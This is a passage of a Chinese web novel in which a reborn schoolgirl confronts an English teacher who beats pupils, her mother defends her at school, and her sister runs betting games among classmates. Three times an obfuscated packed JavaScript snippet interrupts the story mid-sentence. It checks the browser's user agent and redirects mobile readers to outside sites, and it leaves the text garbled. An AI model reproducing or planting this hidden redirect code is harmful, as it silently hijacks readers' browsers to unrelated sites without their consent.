第二天,陆易宁站在讲台上展示了手里的英语本,喊大家写英语单词的时候买这种本子。 展示的时候,大部分同学都凑上来看,至于买不买,那就另说。 英语课一周两节,分别在周二上午第三节和周五下午第一节课。 一到周五,从午休还没结束,陆易宁的同桌就开始在害怕了。她是个很内敛的人,平时非常乖,老师说什么就是什么。最怕的就是严厉的老师,本来数学老师就挺严厉的了,英语老师更甚。 下午两点钟才上课,一点半开始,看见教室里午休回来的学生越来越多,她心里就越害怕,心脏已经开始怦怦跳了。 陆易宁分她吃干脆面,她也不吃。 陆易宁安慰道:“哎哟,我不是教你读过今天的单词和句子了吗?你也做好标记了呀,你别害怕,英语课结束就是体育课和美术课了。” 同桌深吸一口气,拿出英语书翻来覆去地看:“我就是吃不下。” 两点了,上课铃声响起,楼道里英语老师的高跟鞋仿佛踩在大部分同学的心尖上咚咚响。 穿着深蓝色长裙的女老师一上讲台就吩咐同学们摆出上一节课的英语作业。 她从坐在教室门口的那一排开始检查,说是检查,其实就是扫一眼。 没写的,打三棍。 用数学本写的,打两棍。 用拼音本写的,打两棍。 用英语本,但是不是四线三格写法,全部当成拼音写的,打一棍。 一通检查下来,十几分钟过去了,真正达到她要求的只有坐在陆易宁附近成功抄完她作业的人。 英语老师不常骂人,一张不苟言笑的脸就像是在骂人,她手中的木棍更是吓人。 又到了读大白书的时候。 第二单元的单词简单读一遍,翻开相应的内容继续念白口书。 学生请求她再教一遍单词,她说时间不够,不教。学生们没学会,指错了英语单词,不提醒,直接打! 陆易宁的同桌被吓得大脑一片空白,本来做好的记号忘得一干二净。 “what''s your name” 英语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438394|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师游走到陆易宁身边,陆宁的手指正只在“name”这个单词下方。 英语老师盯着陆易宁的手看了很久,等学生们读完,再继续“my name is Ross” 同桌太过紧张,手一抖,慌乱之下直接指到下一句“my name is Joey”上面去。 英语老师晃眼看见,又是一闷棍敲她脑袋上。 陆易宁被老师的动作吓了一跳,下一秒,头顶就被打了一棒。 老师很用力,疼痛从头顶快速传递至内部。 陆易宁眼前一黑,黑红黑红的,有点晕,看书上的单词都有些重影了。 “看书!”老师又打了她一棍,打在手臂上,比刘秀珍打她时还痛,痛得她差点跳起来。 “我教到这了。”老师立起棍子用力敲打她课本上“Ross”这个名字所在的地方,不耐烦地问:“你在想什么呢?一上课就知道发呆。” 老师的责骂在教室里回荡,所有同学都沉默地看向陆易宁。 学习那么优秀的人也会被老师打吗? “我指的就是你读的地方啊!”陆易宁忍不了了,就算自己指错了,她明明可以口头提醒,为什么还要打自己第二次,更何况自己指的地方是对的。 “我倒是想问老师你怎么了?”陆易宁站起来质问她,“我明明没有指错地方,你为什么要打我?” 女老师举起木棍,用木棍杵着陆易宁的脑门骂道:“你上课分心,我不该打你吗?” 陆易宁火气上来,抬手用力扯掉抵在脑门上的木棍,二话不说,扔向窗口。 教室在三楼,她坐在教室另一侧靠窗的位置,窗户的楼下就是学校里的垃圾堆。 “我没有分心,是你第一次打我的时候就打错了,你该向我道歉,而不是再给我一闷棍。” 女老师教了七八年书,第一次遇见学生把她的教棍扔下楼的情况。 她的教育理念很简单,好学生就是打出来的。 “你有没有分心我教了那么多年书,一眼就看得出来。”英语老师用手指头挖向陆易宁的脑门,“像你这种学生我见得多了,小小年纪不服教?以为比老师懂?你是没爸没妈吗?这么没家教!” 陆易宁推开她的手,“我爸妈身体康健,为人和善,我家不存在任何家教问题。倒是老师你,观行查性,我有理由怀疑老师的家风是彪悍风格的。” “你!” 能被一个学生拐着弯怼,英语老师直接拿起教材对着陆易宁的左脸扇过去。 陆易宁反应快,连忙拿起英语书挡在脸边。但是她的力气小,英语老师力气大,还是被打到了。 “嘴很凶啊你!”英语老师将手里的教材砸在陆易宁身上,陆易宁顺势将她的教材扔出窗。 三楼应该算高空抛物吧?祈祷楼下没有人。 在她手上巴掌扇过来的那一刻,陆易宁两只手拼尽全力抓住她的手,用尽最大的力气背出上一世备考教师编看过的教育法法条,“根据《中华人民共和国教师法》第八条和第三十七条规定:教师应当关心、爱护全体学生,尊重学生人格,不得侵犯学生合法权益。教师体罚学生,经教育不改的,由所在学校或者教育行政部门给予行政处分或者解聘。情节严重构成犯罪的,依法追究刑事责任。” 管它相关法条和零九年的教育法内容对不对得上,陆易宁先喊了再说。 十几年后的很多老师能被各路奇葩家长逼疯。但这个年头的家长最怕事,奉行棍棒教育,所以老师的权力大的很,无缘无故打学生都没人敢和老师对着来。 “老师你的教师资格证是买的?还是你的教师编制是托关系得来的?”陆易宁牟足劲和英语老师对抗,“我一个小学生都知道的规定,你居然不知道?” 37. 三十七章 半节课的时间还没到,英语老师就被气走了。 “哇……” 教室里一片声音,不是迎合陆易宁把老师气走发出的赞叹,仅仅是唏嘘而已。 同桌被刚才发生的情形吓哭了,也只是简简单单趴在课桌上抽泣一两声,“陆易宁,你会不会被请家长啊?英语老师都不上课了。” “她爱上不上。” 上一世,陆易宁转学过来,运气好,在隔壁班,没有碰上这个老师。 第一世时陆易宁就经常被这个英语老师打,有一次被敲了脑袋瓜,下了课鼻血哗哗流。当时自己不会英语,听不明白,挨打也只能怪自己笨。这一世,她明明没犯错还要挨打,她可忍不了。 下节课是体育课,所有人都以为陆易宁的天该塌了的时候,她依旧从容地去上体育课。 …… 此时学前班的教室里。 陆易宁中午午休时给陆果果买了一把塑料的小水枪,里面原本装的是甜水,按压手枪上的扳手就能把水挤出来。 甜水喝完之后,陆果果就去小池塘里往里装脏水玩。 第一节课睡觉,睡饱了,第二节课有精气神了。 数学老师在黑板上写数字,她就拿着水枪坐在讲台底下biubiubiu冲着讲台滋水。 数学老师把她的水枪没收了,罚她站在教室门边,她没反应过来这是什么回事,主动请求站在教室外面。 陆果果如愿以偿,蹲在窗子底下看别人玩耍。 操场上的高年级学生们在上体育课,丢沙包的丢沙包,跳皮筋的跳皮筋,跳绳的跳绳,打羽毛球的打羽毛球。 她最想玩的是旗台台阶边上的滑滑梯。 那个宝贝地方一下课抢都抢不到,现在却没人在那里玩。 操场上,同桌把手里的绳子交给陆易宁,“陆易宁,我好像看见你妹妹被老师罚站了。” 陆易宁扭头看向学前班的方向,只见学前班教室的窗户底下,有个耳朵后面绑了两只小揪揪的小女孩蹲在那里,撑着下颌目不转睛地看着操场。 两个小揪揪是陆果果的标志发型,陆易宁一眼就认出她。 她不像是被罚站,倒像是特意出来透气的。 陆易宁刚跳了几个绳,班长就来通知她去语文老师的办公室。 陆易宁只好把绳子还给别的同学。 她经常帮老师收试卷,知道老师办公室在哪。 办公室的门是打开的,语文老师的办公桌就在门边。 陆易宁轻轻敲了两下门,走进去,“老师您找我?” 班主任将放在桌上的眼镜戴了回去,“陆易宁,英语老师都跟我说了。我一下课,英语老师就要我打电话给你父母要说法。你是个好学生,怎么能和英语老师起这么大的冲突呢?” “对不起,老师,给您添麻烦了。”陆易宁先向班主任服软,“英语老师要我请家长,我可以喊我妈来。” “我已经打电话给你爸了,他说他下班后会赶过来。” 陆易宁不乐意了,陆平一来,虽然不会大骂她,但纵使她再有理,陆平都会逼着她向老师道歉。 一个被邻居坑了都只会赔笑脸的人,碰到学校老师,他只会怕自己态度不好,老师给孩子使绊子。 “老师,能借您手机用一会儿吗?”陆易宁解释道:“我爸不方便,我想打电话给我妈,让她来。” 刘秀珍接到女儿打过来的电话,先是愣了一下。 陆易安那混孩子都没被请过家长,一向懂事的二女儿反而开了先例。 肯定是出大事了。 也只能先请几个小时的假,晚上不加班了。 陆易宁走出办公室,隔远就看见操场旗台上有个穿着白色长袖T恤的小孩一个人在玩滑滑梯。 陆易宁加快速度跑过去,陆果果看见她,从滑梯上滑到她脚边,指着左边办公楼的方向,“你刚才去那里做浪子?我喊你你都不答应。” ”你……你在这玩什么滑滑梯?”陆易宁等气喘匀了,陆果果又爬上去滑了下来。 那叫一个安逸。 “现在没人,他们都在上课,我不用抢着玩。” “对啊,学前班的学生都在上课,你玩什么滑滑梯?”陆易宁拉住陆果果的胳膊,不让她爬台阶,“快回教室。” “老师不要我在教室。” “你做什么了?” “我拿水枪滋黑板,她不让我在教室里,我只好来玩滑梯。” 陆果果说得没心没肺的,在她眼里,上课哪有什么规矩。 “快回去!”陆易宁将她拉着离开旗台,“老师不是叫你出来玩滑滑梯的。” “那她又没有说不准我玩滑滑梯。” “就是不能,以后别这样了,上课看书写字听老师的话就行,不能玩别的。” 陆果果一脸不悦,“那根本不好玩。” “读书本来就不好玩。” 在陆易宁的坚持下,被学前班老师发现之前,陆果果成功回到了学前班门口。 没一会,老师就把她喊回教室。 …… 美术课刚上了一半,陆易宁一扭头,就看见刘秀珍出现在教室门口。 她走得急,来到学校时,发际线附近的碎发全湿了。 陆易宁举手请假走出教室。 刘秀珍将她带到楼道口,“陆七七,你做什么了?你班主任喊我来学校。” 陆易宁冷静地安抚道:“妈,你先听我解释,不要我还没说话就先打我一顿。” “那你说。” “我上英语课,我明明没做错什么,英语老师硬要说我分心,手指指的英语单词是错的,就打了我两棍子。”陆易宁怎么可怜怎么说:“她第一棍子打我脑壳上,痛得要死,我差点都晕过去了。所以,我就把她的棍子抢来扔出窗外了。她骂我没家教,我反驳她,她拿书打我,我把她的书也扔下楼了,并且和她吵了几句。” 女儿的脾气刘秀珍再清楚不过,她性子稳,不像是会和老师吵架的人。 刘秀珍再次确认道:“那你指的单词你确定对不对嘛?” “当然啊,我之前跟小丽姐学了那么久的英语。你不信我,你还不信小丽姐吗?” “那就好。”刘秀珍擦掉脸上的汗,松了一口气,她还以为出什么大事了。 来到办公室门口,当着英语老师和班主任的面,刘秀珍先是简单地向英语老师做了一个自我介绍,并说明自己已经了解了事情大概的经过。 英语老师双手环胸,上下打量着刘秀珍。 那死孩子果然是个没文化的家长才教得出来的。 班主任调和道:“彭老师,你看家长都来了,你可以和家长说一下你的要求。” “能有什么要求?”英语老师暼了陆易宁一眼,“我要的不过是一个道歉,站在讲台上,嗓子都喊冒烟了,结果还碰上这种学生。真是龙生龙凤生凤,耗子的儿子会打洞。我就是想要个说法,一个道歉。” 道歉嘛,谁不会啊! 刘秀珍立马笑着说:“哎哟,老师啊,真是对不起,事我都听说了,我家孩子在课上无缘无故和你叫板是她的不对。” 陆易宁扯了老妈的衣角一下。 刘秀珍给她使了个眼神,继续和善地笑道:“但是,不是你先冤枉我家孩子的吗?她明明指对了英语单词,你还打她两棒。我觉得这不应该,就算她指错了,你可以提醒她,也不该直接上手啊。这样说起来,老师你是不是还要给我孩子道个歉呢?” 一副老实人的扮相,专门说真话。 陆易宁得意地看向刘秀珍。 英语老师的假笑面孔瞬间没了,“我……我是老师,她一个三年级的学生,没学过英语,她指的地方对不对我不知道?她不听教,我不能教育一下了?照这样说,老师就该当个烂好人,骂都不能骂,不能教训一下学生了?” “提醒一下,你那个算不上教育,你是直接打的我,而且下手很重!”陆易宁故意摸了摸头顶,“更何况,我指的单词是对的!” “我家孩子的数学语文成绩都不错。”刘秀珍支棱起来,“在英语一科上,虽然学校没教过,但是她在家里跟附近的大姐姐学过英语。”刘秀珍特地强调:“她的大姐姐,就是去年的县状元,考上中国人民大学的一个高材生。我家陆易宁跟她学英语学得很好的。所以,我相信我孩子指的单词的是对的,可能是老师你看错了,误打了她。” 班主任有些惊讶地问陆易宁: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438395|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是吗?你还另外学过英语?” “是的老师,我可以证明给您看看。”陆易宁脱口而出,“Today is Friday. During the first class in the afternoon,I had a conflict with my English teacher. She is known for being physically abusive towards students. ” 流利地说了一通后,刘秀珍自豪地看着女儿,没想到她说英语说得这么溜。 英语老师的本专业不是英语,但是能听得出她大部分说了什么。 “老师你不要说是因为我走神你才打我的话,我当时根本没分心,是你打了我脑壳的时候,我头晕眼花,没看清课本上的内容。说到底,这并不怪我。老师打学生不能说明学生一定做错了事。接下来是我的解释,还请你不要打断我。”陆易宁逻辑清晰地说:“第一,你作为英语老师,虽然小学生的英语课不重要,但是你一上来直接教读一遍单词后,就开始带着学生们读英语句子,并要求你读到哪学生手指指到哪儿,指错地方你就用教棍体罚学生。对于没有接触过英语的同学来说,你的教学方式是不对的。第二,你教英语的方法很简单,但是学生没有基础根本跟不上。你自己的教学是松散的,你对学生的要求却是紧迫的,你的教学输出与要求学生对知识的吸收量极其不平衡。第三,你从未在课上教过学生写英语单词的格式,写英语需要用的本子,但是却要求学生按照标准完成英语作业,否则你就体罚,这个对学生根本不公平。第四,根据教育局的规定,体罚学生就是不对的。更何况你是吹毛求疵,无端体罚,罚不当罪。你是老师,为人师表,你更应该向那些莫名其妙被你打的学生道歉。” 一番话下来,英语老师只是骂陆易宁话多,胡编乱造。 对比,陆易宁说班上的同学都是证人。 班主任进退两难,该向哪方说话都不是。 放学铃声响了,刘秀珍理了理陆易宁头顶的头发,“老师,我家孩子的性格我知道,她不是会乱说话的孩子。也希望你不要因为她这番话就针对班上的其他孩子,他们都是好学生。如果因为我家陆易宁,你不想上班上的英语课的话,小王老师是个明事理的人,”刘秀珍看向班主任,“那还请小王老师帮个忙,协调别的老师来上。” “易宁妈妈,”英语老师的暴脾气班主任也听别的同事说过,光是她体罚学生,就曾经有学生害怕上学,家长来学校闹过。班主任好言好语地说:“我会征求学生们的意见,向学校反应的。” 英语老师懒得说话,她才不想上什么狗屁英语课。 刘秀珍又说:“这是孩子们第一次接触英语。可能彭老师教学严厉了一点,但是太过严厉,万一学生们小小年纪就抵触英语这门课,以后进了初中,正式学英语了,学不进去怎么办?” “不会的。”班主任说。 陆易宁说:“就会!” 第一世时,她的初中数学老师是个王八蛋,不仅体罚学生,还总是诬陷她作弊。普通学生的数学成绩好了,他说是抄别人的答案,偶尔下降,他又说之前肯定是作弊才得的高分。 因为这种老师,陆易宁初中三年一上数学课就烦,到高中才摆脱了看见数学老师就恶心的阴影。 …… 在刘秀珍的糊弄下,第一次请家长,陆易宁没吃什么亏。 放学后,刘秀珍带着三个女儿和郑煦一块在学校门口的小吃摊前,一人买了一个洋芋粑粑。 陆易宁咬了一口土豆饼,走在刘秀珍身侧,“妈,我还以为你今天来学校,会像对我姐一样,二话不说先打我一顿。” “我打你姐,是因为她打郑阳阳的时候下手太重了。”刘秀珍揉了揉女儿的头发。“你是对的,我为什么要打你。而且,我今天才知道,我家二女儿除了语文好数学好之外,英语说得要得嘞,一大串英语,我看你们班主任都没怎么听明白。” “她会英语?”陆易安走在前面听到这话,难以置信地回头。 陆易宁慌乱地解释道:“是小丽姐教我读了一段英语,我经常跟着她读,就读习惯了。” 38. 三十八章 英语老师的道歉,陆易宁和班上的同学等了一年都没等到。不过经此一闹,班上的英语课改由数学老师上,几乎上成了数学课。 大部分学生一致认为,与其挨英语老师的棍棒,挨数学课的折磨稍微能好受一点。 陆易宁再次听到英语老师的消息是在四年级上学期开学的第一个星期。 六年级的学生毕业升了初中,英语老师重新带了一年级的一个班。 还是因为体罚学生。据说是因为上课时,其中一个孩子上黑板做题,做得太慢了,就挨了打。 低年级的学生传来传去,说是那个学生脸都被扇肿了。 陆易宁觉得心寒的同时,更为陆果果能逃过此劫松口气。当初学前班分班时,陆果果就被分在英语老师带的班上。 学校一年级分班通常是两个班的班主任拿着学前班的学生名单在教室外面的空地上喊,班主任喊到谁的名字,谁就是他的学生。 陆易宁请假上厕所时碰巧撞见这一幕,英语老师是一班的班主任,听见陆果果被英语老师点了名字,她心都凉了。第二天,她亲自送陆果果去了二班教室。 当时一年级的班主任还没完善班级学生名单,也不知道谁是谁,陆果果在一班的教室里待了一天,第二天糊里糊涂地就被陆易宁转去了二班。 陆果果的升学考试双科都是百分,虽然她的答案全是抄李圆圆的,但是二班的班主任不知道啊,只知道班上多分得了一个好学生。 那种人都配当老师?学校不管,陆易宁没那个本事去撼动英语老师在学校的人脉关系,只能顾自己了。 或许是因为刚开学,英语老师没来得及调查班上各个学生的家世背景,在她眼里,一个村镇小学的学生家长能有什么能力? 但她忽略了,学生家长没能力,不代表学生的亲戚长辈没能力。 不凑巧的是被打小男孩的舅舅在县教育局工作,教育局的头衔明显高于小学教导主任的头衔。 陆易宁最后一次看见英语老师是在开学第二周周三中午,她提着饭盒去一年级二班的教室喊陆果果吃中午饭,在等陆果果拿东西的时候,看见英语老师在隔壁的教室门口向被打学生的父母鞠躬道歉。 陆易宁侧靠着墙默默地看着,唉,一个道歉都要分个三六九等,啧啧啧。 陆果果抱着画本跑出教室,此时陆易宁的注意力全在前方不远处的几人身上,“你在看浪子?” “没什么。” 陆果果的大眼睛看见站在隔壁班教室门口的女老师,八卦地说:“陆七七,我跟你讲,一年级一班的班主任被开除了。” “哦。”陆易宁看向陆果果的教室,“你今天不叫李圆圆一块了吗?” “老师说她生病了,请假。” 学前班的一次排座位,陆果果被分到和李圆圆坐一块。 刚开始时她还有点不情愿,直到李圆圆给她抄自己的作业,她才发现李圆圆身上最大的闪光点——李圆圆的头脑很聪明,老师没教过的她都懂,次次测验都考一百,根本不像是笨蛋。 陆易宁说:“走,去花坛。” 四年级至六年级是在另一栋教学楼,教学楼前面是两列长长的花坛,里面相间种满了比较矮的海棠树和樱花树。 每年春季花期时,学生们经常坐在花坛边上,摘花来编手串和编花环。 陆易宁坐在树荫下,打开饭盒,今天的午饭是青椒炒鸡蛋,炒豆腐。 陆果果迟迟不肯动筷,“我们不去喊陆安安吗?” “她自己带了的,不用喊。” 陆果果隔着树干,看向远处坐在小卖部门口花坛上吃泡面的学生,一阵羡慕,“我好想吃方便面啊,我不想带午饭来学校,要是以后能天天吃方便面就好了。” “……” 怎么总想一些乱七八糟的东西? 陆易宁夹了一块鸡蛋放进嘴里,“快吃饭,天天吃泡面的日子在后头,总有一天你会碰上的。” “那我以后能吃火腿肠吗?”陆果果丧丧地看向陆易宁,“我前桌经常买烤过的火腿肠吃,我闻着都香,你觉得是什么味的啊?” 陆易宁说:“一咬下去,滋滋冒油,一股特有的难以形容的香味。” 学校的小卖部最近购买了一个烤肠机,在零花钱少得可怜的小学生眼里,烤肠机上翻滚的火腿肠无疑是最可望不可即的零食。 一块钱一根,能比得上一碗方便面了。很多人一天的零用钱都没一块钱,得了五角钱,要用来买多一点的袋装零食,比如印的有电视剧封面的辣条。这样可以和小伙伴分着吃,吃完还能嗦手指。 一块钱买根肠,太奢侈了。 建材厂和纺织厂的效益不好,为了减少人工成本,建材厂辞了一批人,原本生产三班倒,如今成了两班倒,早八晚十是常态。暑假里,纺织厂刚停了两条产线,又走了一批人。 工人活做得越来越多,工资却越来越少。 陆家几姊妹的零花钱骤减。陆易宁还好,压岁钱她藏了一些,建党节参加趣味知识抢答竞赛和七一征文得了点奖金,除去被母亲大人骗走的一百块,请陆易安,陆果果和郑煦吃了点零食,吃了小笼包,给陆果果买了简易版本的巴啦啦小魔仙魔法棒和芭比娃娃后,还要留一些去买书,现在身上能自由支配的只有五毛钱。 算了,国庆节前,镇上的小学要联合举办一次数学竞赛,前三名和优秀奖都有奖金。到时候,加把劲,赢个五十来块,就可以买那一本小说了。 “快点吃。”陆易宁夹了一块最大的鸡蛋给陆果果,“明天我们不带饭了,我带你去小卖部吃泡面,去校门口吃洋芋粑粑。” “真的吗?”陆果果两眼发光,转瞬眼里的光又变得黯淡了,“可是你哪来的钱?” “我借同学的,她明天还给我。” 吃完饭,陆果果开始给陆易宁展示她今天早上上美术课画的娃娃。 美术本纸张上画着一个动画片里的小女孩,小女孩的双马尾长得像角一样,一双紫色的大眼睛,穿着紫色和白色相间的裙子,手里拿着一根看不清形状的棍棒。 画像的右上方还有一个红笔写的优字。 陆易宁尽力去看,依稀能看得出她画的是巴啦啦小魔仙里的一个人物。 “你画的是小黑魔仙严莉莉?” “不是!这是我的自画像!”这个答案,陆果果很不满意,连忙解释道:“李圆圆说我长得像她,今天老师让我们画自己,我就照着李圆圆给我画的画画啦。” 什么画不画的。 陆易宁的视线在纸张上的画像和陆果果的脸上来回转,故意说:“哦,那画得挺像的,都一样难看。” “陆七七!老师都给我评优了!”陆果果瞪着她,“你画的才难看,你才难看!” “行了。”陆易宁不逗她了,“那李圆圆画的你长什么样?也一样丑吗?” “才不是。”陆果果将画本往前翻了几页。 这一次,陆易宁能看得出来了。李圆圆的画工还不错,才读一年级,临摹动漫角色就画得有模有样的,与原版差不到哪去。 陆易宁将画本拿过来看,有几个娃娃画得是真好,全是巴啦啦小魔仙里的。黄色的魔仙小兰,白色的女王陛下,蓝色的美琪,粉色的美雪。 陆果果得意地说:“怎么样?画得好看吧?” “嗯,好看。”陆易宁欠打地说:“但也不是你啊,李圆圆画的全是巴啦啦小魔仙里的人。” “我不给你看了,你烦死啦!”陆果果用力将画本抢回来。 紫色的那个娃娃那就是张圆圆画的她,巴啦啦小魔仙里根本没这人。 …… 陆易安在小卖部里豪掷三块钱,成功串了三串烤肠,裹满辣椒面,美滋滋地离开小卖部。 去一年级和四年级的教室都没找到人,陆易安转去花坛找。右边的花坛没人,那就去左边。 果然在左边的靠近教学楼的地方找到了正在对着操场发呆的陆果果和陆易宁。 “你们在这啊,我找了好久。”陆易安穿过花坛,将两根烤肠送到陆易宁和陆果果跟前,“给你们两个买的。” “哇!”陆果果顾不上欣赏自己上午完成的优质画作了,连忙去拿属于自己的烤肠,忙不迭往嘴里送,边吃边夸,“真好吃!” 烤肠还有点烫,陆易宁接过来咬了一口。 烤肠的外皮烤得有点焦,陆易宁一口咬上去,没咬断,烤肠被分成两半,嘴巴直接将烤肠从木签上整根带出来。怕下面那一节掉地上,陆易宁只好双手接着吃。 结果吃得太急,下面的那半截烤肠晃了几下,就直勾勾地掉在陆果果的画本上。 三秒钟定律,更何况都没掉在地上,陆易宁赶紧捡起来吃了。 画本上留下了烤肠的油渍和辣椒面红红的印记,陆果果赶紧用袖子擦干净,只是为时已晚。 “陆七七,这是我最喜欢的画本啊!” “明天给你买一个新的。”陆易宁将手上的辣椒面和油渍擦在身后的树上。 咽下烤肠,陆易宁瞟了陆易安一眼,“你是不是又在班上当庄家收钱了?” 陆易安没说话。 陆易宁肩膀一沉,“陆安安,你又来,你信不信老妈和老爸知道又要揍你一顿。” 上个学期,陆易安不知道从哪里搞来一个骰子,并带着扑克牌来学校。中午的时候,学电视剧里的赌场那样吆喝着买定离手,让同学们购买扑克牌来猜骰子大小,她当庄家。每个人要参与这场赌博,还需要提前交给她一毛钱的验资钱和五毛钱的保证金。扑克牌从一到十,一张扑克牌一角钱。购得的牌面比摇得的骰子数字大多少,则赢几角,少多少,则是输多少。 这个活动风靡了几个年级,陆易安光靠当庄家,一天中午能赚几块钱。直到某天,隔壁班的某个学生输不起,保证金退不回来,告去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438396|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了老师和学校主任那里。 陆易安因为聚众赌博,被请了家长,回家后,刘秀珍和陆平对她进行了刻骨铭心的男女混合双打,外加第二天上学在国旗下进行了一次深入人心的演讲,此事才算结束。 陆易安否认道:“才不是,我这是用我赢得的亮卡换的。” 她说的卡是一种圆形的小卡,小卖部里五角钱一小沓,每一沓里会有一张亮晶晶的卡片被称为亮卡,也是最宝贵的卡。 赢这个字从来不会出现在陆易安的游戏圈里。 她不会亲自上阵玩游戏,向来只靠一张嘴。她深知只要上场玩,就会有输赢,能稳赚不赔的,就是在后面默默操控整个局面,再往里捞钱。 比如扮演大富翁里给人放贷的银行角色,她不直接参与,会把游戏规则改成对自己有益的,每次捞得不多,但是收钱收得稳。 陆易宁叹了叹气,“你是不是当亮卡存储仓,空手套白狼,给别人放贷了?” 陆易安沉默了片刻,“我这次又没拿扑克牌,就是他们玩个游戏,我去当个裁判,赚点钱,不行吗?” “你信不信,你们老师知道,会打电话给爸妈的。” 陆易安不以为意,“这算什么,我们只是玩个卡片而已。” 一个卡片而已。 周五早上,班主任就把班上学生的卡片全没收了。 原因无他,因为一到下课,学生就知道玩卡片。而且玩法五花八门,有打卡片,有滑卡片,有在卡片上写作业,谁输了相应作业的卡片,谁就要给同学多写一份作业;不同颜色的卡面对应不同的数额,谁赢得这张卡片,谁就赢得多少钱等等。 陆易安被收走了五张一块的亮卡,三张五角的圆卡,还有二十多张卡面比较旧,面值一角的卡片。 挨了一顿批评后,陆易安的新生计又一次葬送在班主任手上。 陆易安一阵肉疼,她第一次亏了大本。投进去的钱才赚回来了一半,筹码就被没收了。 还好今天是周五,放学回家时,陆易宁用私房钱请她吃了火腿肠和洋芋粑,这才好受一点。 周六,刘秀珍休息。 吃完早饭,将家里的水桶全部装满水,刘秀珍忙着把家里的脏衣服全抱进院子里。 最近一段时间,街上在安装地下管道,停了半个多月的水早上才来。 去年陆平买了一个双桶洗衣机,家里双桶洗衣机有个毛病,就是脱水桶给衣服脱水时,衣服放进去时有点不平就会震得乱跳。 由于工厂加班加得紧,刘秀珍已经几年没喂过猪了,今年喂的是鸡。 有人来家里买鸡去吃,她带着人在圈里选鸡,陆易宁就负责压在洗衣机上,晃了几分钟,洗衣机才停下来。 “七七,你洗衣服啊?”赵倩端着半瓢水蹲在家门口,有气无力地看着刘秀珍和别人在圈里捉鸡。 “对啊。”陆易宁打开洗衣机,进屋拿衣架出来,突然想到了什么,“倩倩阿姨,你今天不是去上班了吗?” “有点难受,就回来了。” “是哪里不舒服吗?我家里有药。” “没什么,我等会回屋里睡一下就好了。” 刘秀珍卖完鸡,回到后院,赵倩还蹲在家门口。 等她晾完衣服,赵倩才把她喊到自己家里。 “你怎么了?”刘秀珍关心道:“最近这几天看你都不太舒服的样子。” “姐,我感觉我可能……”赵倩的声音压得很小。 刘秀珍看她欲语还休的纠结样,睁大了眼睛,“你不会有了吧?” 姐妹之间没来由的默契,一个眼神就明白事。 赵倩点了点头。 她的生理期已经一两个月没来过了,而且这段时间什么东西都吃不下。 “什么?倩倩阿姨有小宝宝了?”陆易宁在门口听了一嘴,连忙跑进赵倩家里。 这个情况是她前两世没遇上的,毕竟郑松没活过零八年。 “就你耳朵好!”刘秀珍斜了陆易宁一眼。 赵倩说:“姐,要不我们下午去医院看一下?得了准信,我心里也才踏实一点。” 刘秀珍答应道:“好啊,这种事猜不得。” 临走前,两人再三交代陆易宁不准乱说话。 陆易宁在家里等了两个小时,刘秀珍和赵倩才回家。 陆易宁听见母亲的声音,连忙跑出门,“怎么样啊?” 刘秀珍推了陆易宁的脑门一掌,“哎哟,你是跟你姐好的不学学坏的,什么都要打听。” 大人不明说,但是陆易宁从她们二人脸上似有似无的笑意和扭捏的回复就猜到了。 “陆七七,你别到处乱说啊!”刘秀珍警告道:“你倩倩阿姨这几个月做什么都要小心得很,知道的人多了不好。” “哎哟,我知道。”陆易宁摆摆手,“瞒三不瞒四嘛,” 刘秀珍佯骂道:“就你样样清!” 39. 三十九章 学校里的生计一而再再而三地被老师阻断,赚同学的钱,风险太大,碰上某个不遵守游戏规则的玩家,赚的钱都要赔进去, 陆易安决定转换挣钱方式。 一次赶集,她在街上看见有摊贩在收草药,很贵,七块钱一斤。陆易安凑上前问了一句,收草药的老板说他也收干的野菊花,刺梨。其中最贵的,属外表呈黄棕色,有些弯曲,看起来脏兮兮的蜘蛛香了。 蜘蛛香陆易安见过,暑假去外婆家,外婆说它是很有药用价值的一副药。 陆易宁也说经常有人收这种药材。 陆易安计上心头,在赶集的日子拉着陆易宁和郑煦上街,专门在收药材的小摊前闻各种药材的气味,记各种药材的外表。 中秋节第一天假期,大人们都在上班,陆易安带着两个妹妹和郑煦去他外公家里,拿上赵大爷为郑煦编织的小竹筐,做的小锄头,绕了一个大弯路,终于上了坡。 陆易宁劝阻不过,反被陆易安生拉硬拽,不得不跟着一起去。 她的记忆力好,见过的草药几乎都能记住长什么样,陆易安自然不会放过她。 陆果果也是,家里没人陪她玩,哭着闹着也要跟着姐姐们去山坡里。 几人沿着大马路往家后面的方向走,弯弯绕绕,走了三十多分钟,终于走到了在家里也能看见顶端的山下。 隔远看起来像是一座山,走进一看,几乎都是被开垦的土地。 